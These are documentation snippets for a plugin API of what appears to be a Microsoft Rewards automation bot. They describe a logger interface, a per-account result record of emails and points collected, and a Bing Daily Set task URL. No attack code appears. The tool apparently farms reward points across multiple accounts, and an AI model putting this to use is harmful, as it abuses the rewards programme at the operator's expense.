https://github.com/questpilot/microsoft-rewards-bot/blob/main/docs/plugin-api.md An interface for logging messages from within a plugin. It provides methods for different log levels. ```APIDOC ## PluginLogger Interface ### Description Provides methods for logging information, warnings, errors, and debug messages from within a plugin. Use `context.log` for logging. ### Methods - **info(source: boolean | 'main', tag: string, message: string, color?: string): void** - Logs an informational message. - **warn(source: boolean | 'main', tag: string, message: string): void** - Logs a warning message. - **error(source: boolean | 'main', tag: string, message: string | Error): void** - Logs an error message. - **debug(source: boolean | 'main', tag: string, message: string): void** - Logs a debug message. ``` -------------------------------- ### AccountResult Interface Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/docs/plugin-api.md Represents the result of processing for a single account. ```APIDOC ## AccountResult Interface ### Description This interface contains the outcome of the account processing, passed to the `onAccountEnd` lifecycle method. ### Properties - **email** (string) - The email address of the account. - **initialPoints** (number) - The number of points before processing. - **finalPoints** (number) - The number of points after processing. - **collectedPoints** (number) - The number of points collected during processing. - **duration** (number) - The duration of the processing in seconds. - **success** (boolean) - Indicates whether the processing was successful. - **error** (string) - Optional - An error message if the processing failed. ``` -------------------------------- ### Daily Set Task URL for Bing Search Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/docs/selectors-reference.md URL pattern for a Daily Set task involving a search on Bing. ```url https://www.bing.com/search?q=QUERY&form=ML2G76&OCID=ML2G76&PUBL=RewardsDO&CREA=ML2G76&rnoreward=1&filters=BTEPOKey%3A%22REWARDSQUIZ_DailySet_UrlOffer%22+BTDSUOI%3A%22...%22 ```